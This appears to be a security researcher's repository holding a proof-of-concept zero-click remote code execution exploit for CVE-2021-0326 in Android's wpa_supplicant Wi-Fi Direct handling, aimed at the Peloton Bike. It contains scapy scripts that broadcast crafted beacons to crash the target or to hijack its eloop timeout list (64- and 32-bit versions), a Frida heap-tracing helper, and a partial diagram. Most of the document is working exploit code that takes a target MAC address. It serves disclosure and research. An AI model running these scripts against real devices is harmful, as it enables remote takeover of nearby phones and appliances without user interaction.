├── README.md
├── p2pcrash.py
├── helper.js
├── skeleton.py
├── skeleton32.py
└── eloop.svg


/README.md:
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 1 | # Skeleton (but pronounced like Peloton)
 2 | 
 3 | A Zero-Click RCE exploit for CVE-2021-0326 on the Peloton Bike 
 4 | 
 5 | And also every other unpatched Android Device 
 6 | 
 7 | PoC requires ASLR to be disabled.
 8 | 
 9 | Associated blog post: https://www.nowsecure.com/blog/2022/02/09/a-zero-click-rce-exploit-for-the-peloton-bike-and-also-every-other-unpatched-android-device/
10 | 
11 | ![diagram of exploit](eloop.svg)
12 | 


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/p2pcrash.py:
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 1 | from scapy.all import *
 2 | 
 3 | iface = 'wlp4s0mon'           # interface in monitor mode
 4 | target = 'ac:04:0b:e9:30:69'  # target MAC address
 5 | mac = RandMAC()               # (fake) mac address of source 
 6 | 
 7 | dot11 = Dot11FCS(addr1=target, addr2=mac)
 8 | beacon = Dot11Beacon(cap='ESS+privacy')
 9 | essid = Dot11Elt(ID='SSID', info='DIRECT-XX') # DIRECT- SSID for WFD
10 | rates = Dot11Elt(ID='Rates', info=b"\x48")    # rate of monitor mode iface
11 | rsn  = Dot11Elt(ID='RSNinfo', info=(
12 |     b"\x01\x00"          # RSN Version 1
13 |     b"\x00\x0f\xac\x02"  # Group Cipher Suite : 00-0f-ac TKIP
14 |     b"\x02\x00"          # 2 Pairwise Cipher Suites (next two lines)
15 |     b"\x00\x0f\xac\x04"  # AES Cipher
16 |     b"\x00\x0f\xac\x02"  # TKIP Cipher
17 |     b"\x01\x00"          # 1 Authentication Key Managment Suite (line below)
18 |     b"\x00\x0f\xac\x02"  # Pre-Shared Key
19 |     b"\x00\x00"))        # RSN Capabilities (no extra capabilities)
20 | 
21 | sec_devs = 0x13 # number of secondary devices
22 | group = (
23 |     b"AAAAAA" +                    # p2p client device id
24 |     b"BBBBBB" +                    # p2p client interface id
25 |     b"\xff" + b"\x01\x88" +        # capabilities, config methods
26 |     b"EEEEEEEE" +                  # primary dev type
27 |     struct.pack("<B", sec_devs) +  # secondary dev type count
28 |     b"\x00"*(sec_devs*8-12) +      # nulls to fill up sec devs
29 |     b"AAAAAAAA" +                  # address to be freed
30 |     b"\x00\x00\x00\x00" +          # 4 nulls for padding
31 |     b"\x10\x11\x00\x00")           # empty device name 
32 | 
33 | group = struct.pack("<B", len(group)) + group # p2p group info 
34 | p2p = Dot11EltVendorSpecific(oui=0x506f9a, info=(
35 |     b"\x09\x03" +                    # p2p identifier
36 |     b"\x06\x00" + b"DDDDDD" +        # p2p device id len, id
37 |     b"\x0e" +                        # p2p client info identifier
38 |     struct.pack("<H", len(group)) +  # total length of group client 
39 |     group))                          # group client data
40 | 
41 | # assemble and send packet
42 | packet = RadioTap()/dot11/beacon/essid/rates/rsn/p2p
43 | sendp(packet, iface=iface, inter=0.100, loop=1)
44 | 


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/helper.js:
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 1 | // replace targets with your own addresses to track their frees/allocs
 2 | //const targets = [ptr("0x7fb742e500"), ptr("0x7fb743d1c0")]; // Peloton NQY02A
 3 | const targets = [ptr("0x7f36231a80"), ptr("0x7f3622e500")];   // Pixel 3a Android 9
 4 | 
 5 | function is_target(x) {
 6 |     // check target-0x20 as that is where we will free / overwrite
 7 |     return targets.filter((y => y.equals(x) || y.sub(0x20).equals(x))).length != 0;
 8 | }
 9 | 
10 | const wpasup = Process.getModuleByName("wpa_supplicant");
11 | console.log(`wpa_supplicant base address: ${wpasup.base}`);
12 | 
13 | const chunks = {};
14 | var eloop = false;
15 | 
16 | //0x00198a6c // Pixel 3a Android 9 offset
17 | const eloop_register_timeout = wpasup.base.add(ptr(0x0001e278)); // may need to change offset
18 | Interceptor.attach(eloop_register_timeout, {
19 |     onEnter: (args) => {
20 |         console.log(`eloop_register_timeout(${args[0]}, ${args[1]}, ${args[2]}, ${args[3]}, ${args[4]})`);
21 |         eloop = true; // always view the next alloc, it is an eloop_timeout address
22 |     }
23 | });
24 | 
25 | // alloc functions
26 | const allocs = {
27 |     "calloc": 1,
28 |     "malloc": 0,
29 |     "realloc": 0
30 | }
31 | 
32 | for (const alloc in allocs) {
33 |     Interceptor.attach(Module.getExportByName(null, alloc), {
34 |         onEnter: (args) => {
35 |             if (allocs[alloc])
36 |                 this.num  = args[0].toInt32();
37 |             else
38 |                 this.num  = 1;
39 | 
40 |             this.size = args[allocs[alloc]];
41 |         },
42 |         onLeave: (ret) => {
43 |             const size = this.size.toInt32()*this.num;
44 |             if (eloop || is_target(ret)) {
45 |                 console.log(`${alloc}(${size}) => ${ret}`);
46 |                 eloop = false;
47 |             }
48 |             if (is_target(ret)) {
49 |                 chunks[ret] = size;
50 |             }
51 |         }
52 |     });
53 | }
54 | 
55 | Interceptor.attach(Module.getExportByName(null, "free"), {
56 |     onEnter: (args) => {
57 |         if (is_target(args[0])) {
58 |             console.log(`free(${args[0]})`);
59 |         } 
60 |         if (chunks[args[0]] !== undefined) {
61 |             console.log(hexdump(args[0], {
62 |                 offset: 0,
63 |                 length: chunks[args[0]],
64 |                 header: true,
65 |                 ansi: true
66 |             }));
67 |         }
68 |     }
69 | });


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/skeleton.py:
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  1 | from scapy.all import *
  2 | import argparse
  3 | 
  4 | desc = """
  5 | Skeleton (but pronounced like Peloton):
  6 | A 0-click RCE exploit for CVE-2021-0326
  7 | 
  8 | Austin Emmitt of Nowsecure (@alkalinesec)
  9 | """
 10 | 
 11 | parser = argparse.ArgumentParser(description=desc,
 12 |     formatter_class=argparse.RawTextHelpFormatter)
 13 | 
 14 | parser.add_argument('-i', dest='interface', required=True,
 15 |     help='network interface in monitor mode')
 16 | parser.add_argument('-t', dest='target', required=True, 
 17 |     help='target MAC address')
 18 | args = parser.parse_args()
 19 | 
 20 | iface = args.interface        # interface in monitor mode
 21 | target = args.target          # target MAC address
 22 | 
 23 | base  = 0x5555555000          # base address of main module
 24 | eloop = 0x7fb743d1c0          # eloop_timeout address
 25 | p2    = 0x7fb742e500          # second part of payload
 26 | 
 27 | eloop_next = base + 0x1a76b0  # eloop next (&list terminates)
 28 | wpa_printf = base + 0x1a938   # addr of wpa_printf
 29 | 
 30 | msg = b"hi :)"                # log on success (< 8 bytes)
 31 | frees = [eloop-0x20]          # list of addrs to free (up to 10)
 32 | sec_devs = 0x12+len(frees)    # number of secondary device types
 33 | 
 34 | p64 = lambda x: struct.pack("<Q", x)
 35 | 
 36 | def build_beacon(dev_mac, client_mac):
 37 |     group = (
 38 |         client_mac + b"CCCCCC\xffDDEEEEEEEE" +  # p2p client information
 39 |         struct.pack("<B", sec_devs) +           # secondary dev count
 40 |         b"\x00"*(sec_devs*8-8*len(frees)-4) +   # nulls to fill up sec devs
 41 |         b"".join(p64(x) for x in frees) +       # addresses to be freed
 42 |         b"\x00\x00\x00\x00\x10\x11\x00\x00")    # empty device name 
 43 | 
 44 |     group = struct.pack("<B", len(group)) + group # p2p group info 
 45 |     p2p = Dot11EltVendorSpecific(oui=0x506f9a, info=(
 46 |         b"\x09\x03\x06\x00" + dev_mac +          # p2p device id, group info
 47 |         b"\x0e" +                                # p2p group info identifier
 48 |         struct.pack("<H", len(group)) + group))  # len of group info 
 49 | 
 50 |     ext_data1 = (
 51 |         p64(p2) +          # next: address of ext_data2
 52 |         p64(eloop_next) +  # previous: address of terminator
 53 |         b"\x00"*16)        # times filled with 00 so it doesnt reorder
 54 | 
 55 |     vendor1 = Dot11EltVendorSpecific(oui=0x0050f2, info=(
 56 |         b"\x04\x10\x49" +                    # vendor extension id
 57 |         struct.pack(">H", len(ext_data1)) +  # length of 1st payload
 58 |         ext_data1))                          # 1st payload data
 59 | 
 60 |     ext_data2 = (
 61 |         p64(eloop_next) +            # next: address of terminator
 62 |         p64(eloop) +                 # previous: address of ext_data1
 63 |         p64(0) + p64(0) +            # times set to 0 so it runs right away
 64 |         p64(5) + p64(p2+0x38) +      # error level, address of msg 
 65 |         p64(wpa_printf) +            # addr of wpa_printf to jump to 
 66 |         msg + b"\x00"*(8-len(msg)))  # message and null padding
 67 | 
 68 |     vendor2 = Dot11EltVendorSpecific(oui=0x0050f2, info=(
 69 |         b"\x04\x10\x49" +                    # vendor extension id
 70 |         struct.pack(">H", len(ext_data2)) +  # length of 2nd payload
 71 |         ext_data2))                          # 2nd payload data
 72 | 
 73 |     mac = RandMAC() # (fake) mac address of source 
 74 |     dot11 = Dot11FCS(addr1=target, addr2=mac, addr3=mac)
 75 |     beacon = Dot11Beacon(cap='ESS+privacy')
 76 |     essid = Dot11Elt(ID='SSID', info='DIRECT-XX') 
 77 |     rates = Dot11Elt(ID='Rates', info=b"\x48")    
 78 |     rsn = Dot11Elt(ID='RSNinfo', info=(
 79 |         b"\x01\x00"          # RSN Version 1
 80 |         b"\x00\x0f\xac\x02"  # Group Cipher Suite : 00-0f-ac TKIP
 81 |         b"\x02\x00"          # 2 Pairwise Cipher Suites 
 82 |         b"\x00\x0f\xac\x04"  # AES Cipher
 83 |         b"\x00\x0f\xac\x02"  # TKIP Cipher
 84 |         b"\x01\x00"          # 1 Authentication Key Managment Suite 
 85 |         b"\x00\x0f\xac\x02"  # Pre-Shared Key
 86 |         b"\x00\x00"))        # RSN Capabilities 
 87 | 
 88 |     # assemble packet
 89 |     packet = RadioTap()/dot11/beacon/essid/rates/rsn/p2p
 90 | 
 91 |     # add fake eloop_timeout elements
 92 |     for vendor in (vendor1, vendor2):
 93 |         for i in range(5):
 94 |             packet = packet / vendor
 95 | 
 96 |     return packet 
 97 | 
 98 | mac1 = b"AAAAAA"  # first dev MAC
 99 | mac2 = b"BBBBBB"  # first client MAC
100 | 
101 | # two packets with swapped addresses 
102 | # to free at least ones vendor_ext
103 | packet1 = build_beacon(mac1, mac2)
104 | packet2 = build_beacon(mac2, mac1)
105 | 
106 | print("sending exploit to %s" % target)
107 | sendp([packet1, packet2], iface=iface, inter=0.100, loop=1)
108 | 


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/skeleton32.py:
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  1 | from scapy.all import *
  2 | import argparse
  3 | 
  4 | desc = """
  5 | Skeleton32 (but pronounced like Peloton32):
  6 | A 0-click RCE exploit for 32 bit CVE-2021-0326
  7 | 
  8 | Austin Emmitt of Nowsecure (@alkalinesec)
  9 | """
 10 | 
 11 | parser = argparse.ArgumentParser(description=desc,
 12 |     formatter_class=argparse.RawTextHelpFormatter)
 13 | 
 14 | parser.add_argument('-i', dest='interface', required=True,
 15 |     help='network interface in monitor mode')
 16 | parser.add_argument('-t', dest='target', required=True, 
 17 |     help='target MAC address')
 18 | args = parser.parse_args()
 19 | 
 20 | iface = args.interface        # interface in monitor mode
 21 | target = args.target          # target MAC address
 22 | 
 23 | base  = 0x2a000000            # base address of main module
 24 | eloop = 0xb6919420            # eloop_timeout address
 25 | p2    = 0xb69202e0            # second part of payload
 26 | 
 27 | eloop_next = base + 0x12b670  # eloop next (&list terminates)
 28 | wpa_printf = base + 0xf391    # addr of wpa_printf
 29 | 
 30 | msg = b"hi!"                  # log on success (< 4 bytes)
 31 | frees = [eloop-0x10]          # list of addrs to free (up to 10)
 32 | sec_devs = 0x11+len(frees)    # number of secondary device types
 33 | 
 34 | p32 = lambda x: struct.pack("<I", x)
 35 | 
 36 | def build_beacon(dev_mac, client_mac):
 37 |     group = (
 38 |         client_mac + b"CCCCCC\xffDDEEEEEEEE" +  # p2p client information
 39 |         struct.pack("<B", sec_devs) +           # secondary dev count
 40 |         b"\x00"*(sec_devs*8-4*len(frees)) +     # nulls to fill up sec devs
 41 |         b"".join(p32(x) for x in frees) +       # addresses to be freed
 42 |         b"\x10\x11\x00\x00")                    # empty device name 
 43 | 
 44 |     group = struct.pack("<B", len(group)) + group # p2p group info 
 45 |     p2p = Dot11EltVendorSpecific(oui=0x506f9a, info=(
 46 |         b"\x09\x03\x06\x00" + dev_mac +          # p2p device id, group info
 47 |         b"\x0e" +                                # p2p group info identifier
 48 |         struct.pack("<H", len(group)) + group))  # len of group info 
 49 | 
 50 |     ext_data1 = (
 51 |         p32(p2) +          # next: address of ext_data2
 52 |         p32(eloop_next) +  # previous: address of terminator
 53 |         b"\x00"*8)        # times filled with 00 so it doesnt reorder
 54 | 
 55 |     vendor1 = Dot11EltVendorSpecific(oui=0x0050f2, info=(
 56 |         b"\x04\x10\x49" +                    # vendor extension id
 57 |         struct.pack(">H", len(ext_data1)) +  # length of 1st payload
 58 |         ext_data1))                          # 1st payload data
 59 | 
 60 |     ext_data2 = (
 61 |         p32(eloop_next) +            # next: address of terminator
 62 |         p32(eloop) +                 # previous: address of ext_data1
 63 |         p32(0) + p32(0) +            # times set to 0 so it runs right away
 64 |         p32(5) + p32(p2+0x1c) +      # error level, address of msg 
 65 |         p32(wpa_printf) +            # addr of wpa_printf to jump to 
 66 |         msg + b"\x00"*(4-len(msg)))  # message and null padding
 67 | 
 68 |     vendor2 = Dot11EltVendorSpecific(oui=0x0050f2, info=(
 69 |         b"\x04\x10\x49" +                    # vendor extension id
 70 |         struct.pack(">H", len(ext_data2)) +  # length of 2nd payload
 71 |         ext_data2))                          # 2nd payload data
 72 | 
 73 |     mac = RandMAC() # (fake) mac address of source 
 74 |     dot11 = Dot11FCS(addr1=target, addr2=mac, addr3=mac)
 75 |     beacon = Dot11Beacon(cap='ESS+privacy')
 76 |     essid = Dot11Elt(ID='SSID', info='DIRECT-XX') 
 77 |     rates = Dot11Elt(ID='Rates', info=b"\x48")    
 78 |     rsn = Dot11Elt(ID='RSNinfo', info=(
 79 |         b"\x01\x00"          # RSN Version 1
 80 |         b"\x00\x0f\xac\x02"  # Group Cipher Suite : 00-0f-ac TKIP
 81 |         b"\x02\x00"          # 2 Pairwise Cipher Suites 
 82 |         b"\x00\x0f\xac\x04"  # AES Cipher
 83 |         b"\x00\x0f\xac\x02"  # TKIP Cipher
 84 |         b"\x01\x00"          # 1 Authentication Key Managment Suite 
 85 |         b"\x00\x0f\xac\x02"  # Pre-Shared Key
 86 |         b"\x00\x00"))        # RSN Capabilities 
 87 | 
 88 |     # assemble packet
 89 |     packet = RadioTap()/dot11/beacon/essid/rates/rsn/p2p
 90 | 
 91 |     # add fake eloop_timeout elements
 92 |     for vendor in (vendor1, vendor2):
 93 |         for i in range(5):
 94 |             packet = packet / vendor
 95 | 
 96 |     return packet 
 97 | 
 98 | mac1 = b"AAAAAA"  # first dev MAC
 99 | mac2 = b"BBBBBB"  # first client MAC
100 | 
101 | # two packets with swapped addresses 
102 | # to free at least ones vendor_ext
103 | packet1 = build_beacon(mac1, mac2)
104 | packet2 = build_beacon(mac2, mac1)
105 | 
106 | print("sending exploit to %s" % target)
107 | sendp([packet1, packet2], iface=iface, inter=0.100, loop=1)
108 | 


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/eloop.svg:
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1 | <?xml version="1.0" encoding="UTF-8"?>
2 | <!-- Do not edit this file with editors other than diagrams.net -->
3 | <!DOCTYPE svg PUBLIC "-//W3C//DTD SVG 1.1//EN" "http://www.w3.org/Graphics/SVG/1.1/DTD/svg11.dtd">
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text-align: left;"><div xmlns="http://www.w3.org/1999/xhtml" style="display: flex; align-items: unsafe center; justify-content: unsafe center; width: 163px; height: 1px; padding-top: 205px; margin-left: 806px;"><div data-drawio-colors="color: rgb(0, 0, 0); " style="box-sizing: border-box; font-size: 0px; text-align: center;"><div style="display: inline-block; font-size: 12px; font-family: &quot;Courier New&quot;; color: rgb(0, 0, 0); line-height: 1.2; pointer-events: all; white-space: normal; overflow-wrap: normal;">eloop_timeout ...</div></div></div></foreignObject><text x="887" y="209" fill="rgb(0, 0, 0)" font-family="Courier New" font-size="12px" text-anchor="middle">eloop_timeout ...</text></switch></g><rect x="647" y="70" width="160" height="30" fill="#f8cecc" stroke="#000000" pointer-events="all"/><g transform="translate(-0.5 -0.5)"><switch><foreignObject pointer-events="none" width="100%" height="100%" requiredFeatures="http://www.w3.org/TR/SVG11/feature#Extensibility" style="overflow: visible; text-align: left;"><div xmlns="http://www.w3.org/1999/xhtml" style="display: flex; align-items: unsafe center; justify-content: unsafe center; width: 1px; height: 1px; padding-top: 85px; margin-left: 727px;"><div data-drawio-colors="color: rgb(0, 0, 0); " style="box-sizing: border-box; font-size: 0px; text-align: center;"><div style="display: inline-block; font-size: 12px; font-family: &quot;Courier New&quot;; color: rgb(0, 0, 0); line-height: 1.2; pointer-events: all; white-space: nowrap;"><font style="font-size: 12px">0x7fb742e500</font></div></div></div></foreignObject><text x="727" y="89" fill="rgb(0, 0, 0)" font-family="Courier New" font-size="12px" text-anchor="middle">0x7fb742e500</text></switch></g><rect x="807" y="70" width="160" height="30" fill="#dae8fc" stroke="rgb(0, 0, 0)" pointer-events="all"/><g transform="translate(-0.5 -0.5)"><switch><foreignObject pointer-events="none" width="100%" height="100%" requiredFeatures="http://www.w3.org/TR/SVG11/feature#Extensibility" style="overflow: visible; text-align: left;"><div xmlns="http://www.w3.org/1999/xhtml" style="display: flex; align-items: unsafe center; justify-content: unsafe center; width: 1px; height: 1px; padding-top: 85px; margin-left: 887px;"><div data-drawio-colors="color: rgb(0, 0, 0); " style="box-sizing: border-box; font-size: 0px; text-align: center;"><div style="display: inline-block; font-size: 12px; font-family: &quot;Courier New&quot;; color: rgb(0, 0, 0); line-height: 1.2; pointer-events: all; white-space: nowrap;"><font style="font-size: 12px">0x55556fc6b0</font></div></div></div></foreignObject><text x="887" y="89" fill="rgb(0, 0, 0)" font-family="Courier New" font-size="12px" text-anchor="middle">0x55556fc6b0</text></switch></g><rect x="967" y="70" width="160" height="30" fill="#fff2cc" stroke="#000000" pointer-events="all"/><g transform="translate(-0.5 -0.5)"><switch><foreignObject pointer-events="none" width="100%" height="100%" requiredFeatures="http://www.w3.org/TR/SVG11/feature#Extensibility" style="overflow: visible; text-align: left;"><div xmlns="http://www.w3.org/1999/xhtml" style="display: flex; align-items: unsafe center; justify-content: unsafe center; width: 1px; height: 1px; padding-top: 85px; margin-left: 1047px;"><div data-drawio-colors="color: rgb(0, 0, 0); " style="box-sizing: border-box; font-size: 0px; text-align: center;"><div style="display: inline-block; font-size: 12px; font-family: &quot;Courier New&quot;; color: rgb(0, 0, 0); line-height: 1.2; pointer-events: all; white-space: nowrap;">0xffffffff</div></div></div></foreignObject><text x="1047" y="89" fill="rgb(0, 0, 0)" font-family="Courier New" font-size="12px" text-anchor="middle">0xffffffff</text></switch></g><rect x="7" y="150" width="640" height="30" fill="rgb(255, 255, 255)" stroke="rgb(0, 0, 0)" pointer-events="all"/><g transform="translate(-0.5 -0.5)"><switch><foreignObject pointer-events="none" width="100%" height="100%" requiredFeatures="http://www.w3.org/TR/SVG11/feature#Extensibility" style="overflow: visible; text-align: left;"><div xmlns="http://www.w3.org/1999/xhtml" style="display: flex; align-items: unsafe center; justify-content: unsafe center; width: 1px; height: 1px; padding-top: 165px; margin-left: 327px;"><div data-drawio-colors="color: rgb(0, 0, 0); " style="box-sizing: border-box; font-size: 0px; text-align: center;"><div style="display: inline-block; font-size: 12px; font-family: &quot;Courier New&quot;; color: rgb(0, 0, 0); line-height: 1.2; pointer-events: all; white-space: nowrap;">hopefully nothing important in here ...</div></div></div></foreignObject><text x="327" y="169" fill="rgb(0, 0, 0)" font-family="Courier New" font-size="12px" text-anchor="middle">hopefully nothing important in here ...</text></switch></g><path d="M 887 110 L 887 133.63" fill="none" stroke="rgb(0, 0, 0)" stroke-miterlimit="10" pointer-events="stroke"/><path d="M 887 138.88 L 883.5 131.88 L 887 133.63 L 890.5 131.88 Z" fill="rgb(0, 0, 0)" stroke="rgb(0, 0, 0)" stroke-miterlimit="10" pointer-events="all"/><path d="M 297 297.5 L 223.37 297.5" fill="none" stroke="rgb(0, 0, 0)" stroke-miterlimit="10" pointer-events="stroke"/><path d="M 218.12 297.5 L 225.12 294 L 223.37 297.5 L 225.12 301 Z" fill="rgb(0, 0, 0)" stroke="rgb(0, 0, 0)" stroke-miterlimit="10" pointer-events="all"/><rect x="297" y="290" width="160" height="30" fill="#f8cecc" stroke="rgb(0, 0, 0)" pointer-events="all"/><g transform="translate(-0.5 -0.5)"><switch><foreignObject pointer-events="none" width="100%" height="100%" requiredFeatures="http://www.w3.org/TR/SVG11/feature#Extensibility" style="overflow: visible; text-align: left;"><div xmlns="http://www.w3.org/1999/xhtml" style="display: flex; align-items: unsafe center; justify-content: unsafe center; width: 1px; height: 1px; padding-top: 305px; margin-left: 377px;"><div data-drawio-colors="color: rgb(0, 0, 0); " style="box-sizing: border-box; font-size: 0px; text-align: center;"><div style="display: inline-block; font-size: 12px; font-family: &quot;Courier New&quot;; color: rgb(0, 0, 0); line-height: 1.2; pointer-events: all; white-space: nowrap;"><p><span class="code" spellcheck="false">next = 0x55556fc6b0</span></p></div></div></div></foreignObject><text x="377" y="309" fill="rgb(0, 0, 0)" font-family="Courier New" font-size="12px" text-anchor="middle">next = 0x55556fc6b0</text></switch></g><path d="M 7 230 L 1127 230" fill="none" stroke="rgb(0, 0, 0)" stroke-miterlimit="10" pointer-events="stroke"/><path d="M 297 327.5 L 223.37 327.5" fill="none" stroke="rgb(0, 0, 0)" stroke-miterlimit="10" pointer-events="stroke"/><path d="M 218.12 327.5 L 225.12 324 L 223.37 327.5 L 225.12 331 Z" fill="rgb(0, 0, 0)" stroke="rgb(0, 0, 0)" stroke-miterlimit="10" pointer-events="all"/><rect x="297" y="320" width="160" height="30" fill="#dae8fc" stroke="rgb(0, 0, 0)" pointer-events="all"/><g transform="translate(-0.5 -0.5)"><switch><foreignObject pointer-events="none" width="100%" height="100%" requiredFeatures="http://www.w3.org/TR/SVG11/feature#Extensibility" style="overflow: visible; text-align: left;"><div xmlns="http://www.w3.org/1999/xhtml" style="display: flex; align-items: unsafe center; justify-content: unsafe center; width: 1px; height: 1px; padding-top: 335px; margin-left: 377px;"><div data-drawio-colors="color: rgb(0, 0, 0); " style="box-sizing: border-box; font-size: 0px; text-align: center;"><div style="display: inline-block; font-size: 12px; font-family: &quot;Courier New&quot;; color: rgb(0, 0, 0); line-height: 1.2; pointer-events: all; white-space: nowrap;"><p><span class="code" spellcheck="false">prev = 0x55556fc6b0</span></p></div></div></div></foreignObject><text x="377" y="339" fill="rgb(0, 0, 0)" font-family="Courier New" font-size="12px" text-anchor="middle">prev = 0x55556fc6b0</text></switch></g><path d="M 217 312.5 L 290.63 312.5" fill="none" stroke="rgb(0, 0, 0)" stroke-miterlimit="10" pointer-events="stroke"/><path d="M 295.88 312.5 L 288.88 316 L 290.63 312.5 L 288.88 309 Z" fill="rgb(0, 0, 0)" stroke="rgb(0, 0, 0)" stroke-miterlimit="10" pointer-events="all"/><rect x="57" y="290" width="160" height="30" fill="#f8cecc" stroke="rgb(0, 0, 0)" pointer-events="all"/><g transform="translate(-0.5 -0.5)"><switch><foreignObject pointer-events="none" width="100%" height="100%" requiredFeatures="http://www.w3.org/TR/SVG11/feature#Extensibility" style="overflow: visible; text-align: left;"><div xmlns="http://www.w3.org/1999/xhtml" style="display: flex; align-items: unsafe center; justify-content: unsafe center; width: 1px; height: 1px; padding-top: 305px; margin-left: 137px;"><div data-drawio-colors="color: rgb(0, 0, 0); " style="box-sizing: border-box; font-size: 0px; text-align: center;"><div style="display: inline-block; font-size: 12px; font-family: &quot;Courier New&quot;; color: rgb(0, 0, 0); line-height: 1.2; pointer-events: all; white-space: nowrap;"><p><span class="code" spellcheck="false">next = 0x7fb743d1c0</span></p></div></div></div></foreignObject><text x="137" y="309" fill="rgb(0, 0, 0)" font-family="Courier New" font-size="12px" text-anchor="middle">next = 0x7fb743d1c0</text></switch></g><path d="M 217 342.5 L 290.63 342.5" fill="none" stroke="rgb(0, 0, 0)" stroke-miterlimit="10" pointer-events="stroke"/><path d="M 295.88 342.5 L 288.88 346 L 290.63 342.5 L 288.88 339 Z" fill="rgb(0, 0, 0)" stroke="rgb(0, 0, 0)" stroke-miterlimit="10" pointer-events="all"/><rect x="57" y="320" width="160" height="30" fill="#dae8fc" stroke="rgb(0, 0, 0)" pointer-events="all"/><g transform="translate(-0.5 -0.5)"><switch><foreignObject pointer-events="none" width="100%" height="100%" requiredFeatures="http://www.w3.org/TR/SVG11/feature#Extensibility" style="overflow: visible; text-align: left;"><div xmlns="http://www.w3.org/1999/xhtml" style="display: flex; align-items: unsafe center; justify-content: unsafe center; width: 1px; height: 1px; padding-top: 335px; margin-left: 137px;"><div data-drawio-colors="color: rgb(0, 0, 0); " style="box-sizing: border-box; font-size: 0px; text-align: center;"><div style="display: inline-block; font-size: 12px; font-family: &quot;Courier New&quot;; color: rgb(0, 0, 0); line-height: 1.2; pointer-events: all; white-space: nowrap;"><p><span class="code" spellcheck="false">prev = 0x7fb743d1c0</span></p></div></div></div></foreignObject><text x="137" y="339" fill="rgb(0, 0, 0)" font-family="Courier New" font-size="12px" text-anchor="middle">prev = 0x7fb743d1c0</text></switch></g><path d="M 532 360 L 585.63 360" fill="none" stroke="rgb(0, 0, 0)" stroke-miterlimit="10" pointer-events="stroke"/><path d="M 590.88 360 L 583.88 363.5 L 585.63 360 L 583.88 356.5 Z" fill="rgb(0, 0, 0)" stroke="rgb(0, 0, 0)" stroke-miterlimit="10" pointer-events="all"/><path d="M 1077 305 L 1097 305 L 1097 415 L 843.37 415" fill="none" stroke="rgb(0, 0, 0)" stroke-miterlimit="10" pointer-events="stroke"/><path d="M 838.12 415 L 845.12 411.5 L 843.37 415 L 845.12 418.5 Z" fill="rgb(0, 0, 0)" stroke="rgb(0, 0, 0)" stroke-miterlimit="10" pointer-events="all"/><rect x="917" y="290" width="160" height="30" fill="#f8cecc" stroke="rgb(0, 0, 0)" pointer-events="all"/><g transform="translate(-0.5 -0.5)"><switch><foreignObject pointer-events="none" width="100%" height="100%" requiredFeatures="http://www.w3.org/TR/SVG11/feature#Extensibility" style="overflow: visible; text-align: left;"><div xmlns="http://www.w3.org/1999/xhtml" style="display: flex; align-items: unsafe center; justify-content: unsafe center; width: 1px; height: 1px; padding-top: 305px; margin-left: 997px;"><div data-drawio-colors="color: rgb(0, 0, 0); " style="box-sizing: border-box; font-size: 0px; text-align: center;"><div style="display: inline-block; font-size: 12px; font-family: &quot;Courier New&quot;; color: rgb(0, 0, 0); line-height: 1.2; pointer-events: all; white-space: nowrap;"><p><span class="code" spellcheck="false">next = 0x7fb742e500</span></p></div></div></div></foreignObject><text x="997" y="309" fill="rgb(0, 0, 0)" font-family="Courier New" font-size="12px" text-anchor="middle">next = 0x7fb742e500</text></switch></g><path d="M 917 342.5 L 843.37 342.5" fill="none" stroke="rgb(0, 0, 0)" stroke-miterlimit="10" pointer-events="stroke"/><path d="M 838.12 342.5 L 845.12 339 L 843.37 342.5 L 845.12 346 Z" fill="rgb(0, 0, 0)" stroke="rgb(0, 0, 0)" stroke-miterlimit="10" pointer-events="all"/><rect x="917" y="320" width="160" height="30" fill="#dae8fc" stroke="rgb(0, 0, 0)" pointer-events="all"/><g transform="translate(-0.5 -0.5)"><switch><foreignObject pointer-events="none" width="100%" height="100%" requiredFeatures="http://www.w3.org/TR/SVG11/feature#Extensibility" style="overflow: visible; text-align: left;"><div xmlns="http://www.w3.org/1999/xhtml" style="display: flex; align-items: unsafe center; justify-content: unsafe center; width: 1px; height: 1px; padding-top: 335px; margin-left: 997px;"><div data-drawio-colors="color: rgb(0, 0, 0); " style="box-sizing: border-box; font-size: 0px; text-align: center;"><div style="display: inline-block; font-size: 12px; font-family: &quot;Courier New&quot;; color: rgb(0, 0, 0); line-height: 1.2; pointer-events: all; white-space: nowrap;"><p>prev = 0x55556fc6b0<br /></p></div></div></div></foreignObject><text x="997" y="339" fill="rgb(0, 0, 0)" font-family="Courier New" font-size="12px" text-anchor="middle">prev = 0x55556fc6b0&#xa;</text></switch></g><path d="M 837 305 L 910.63 305" fill="none" stroke="rgb(0, 0, 0)" stroke-miterlimit="10" pointer-events="stroke"/><path d="M 915.88 305 L 908.88 308.5 L 910.63 305 L 908.88 301.5 Z" fill="rgb(0, 0, 0)" stroke="rgb(0, 0, 0)" stroke-miterlimit="10" pointer-events="all"/><rect x="677" y="290" width="160" height="30" fill="#f8cecc" stroke="rgb(0, 0, 0)" pointer-events="all"/><g transform="translate(-0.5 -0.5)"><switch><foreignObject pointer-events="none" width="100%" height="100%" requiredFeatures="http://www.w3.org/TR/SVG11/feature#Extensibility" style="overflow: visible; text-align: left;"><div xmlns="http://www.w3.org/1999/xhtml" style="display: flex; align-items: unsafe center; justify-content: unsafe center; width: 1px; height: 1px; padding-top: 305px; margin-left: 757px;"><div data-drawio-colors="color: rgb(0, 0, 0); " style="box-sizing: border-box; font-size: 0px; text-align: center;"><div style="display: inline-block; font-size: 12px; font-family: &quot;Courier New&quot;; color: rgb(0, 0, 0); line-height: 1.2; pointer-events: all; white-space: nowrap;"><p><span class="code" spellcheck="false">next = 0x7fb743d1c0</span></p></div></div></div></foreignObject><text x="757" y="309" fill="rgb(0, 0, 0)" font-family="Courier New" font-size="12px" text-anchor="middle">next = 0x7fb743d1c0</text></switch></g><path d="M 837 327.5 L 910.63 327.5" fill="none" stroke="rgb(0, 0, 0)" stroke-miterlimit="10" pointer-events="stroke"/><path d="M 915.88 327.5 L 908.88 331 L 910.63 327.5 L 908.88 324 Z" fill="rgb(0, 0, 0)" stroke="rgb(0, 0, 0)" stroke-miterlimit="10" pointer-events="all"/><rect x="677" y="320" width="160" height="30" fill="#dae8fc" stroke="rgb(0, 0, 0)" pointer-events="all"/><g transform="translate(-0.5 -0.5)"><switch><foreignObject pointer-events="none" width="100%" height="100%" requiredFeatures="http://www.w3.org/TR/SVG11/feature#Extensibility" style="overflow: visible; text-align: left;"><div xmlns="http://www.w3.org/1999/xhtml" style="display: flex; align-items: unsafe center; justify-content: unsafe center; width: 1px; height: 1px; padding-top: 335px; margin-left: 757px;"><div data-drawio-colors="color: rgb(0, 0, 0); " style="box-sizing: border-box; font-size: 0px; text-align: center;"><div style="display: inline-block; font-size: 12px; font-family: &quot;Courier New&quot;; color: 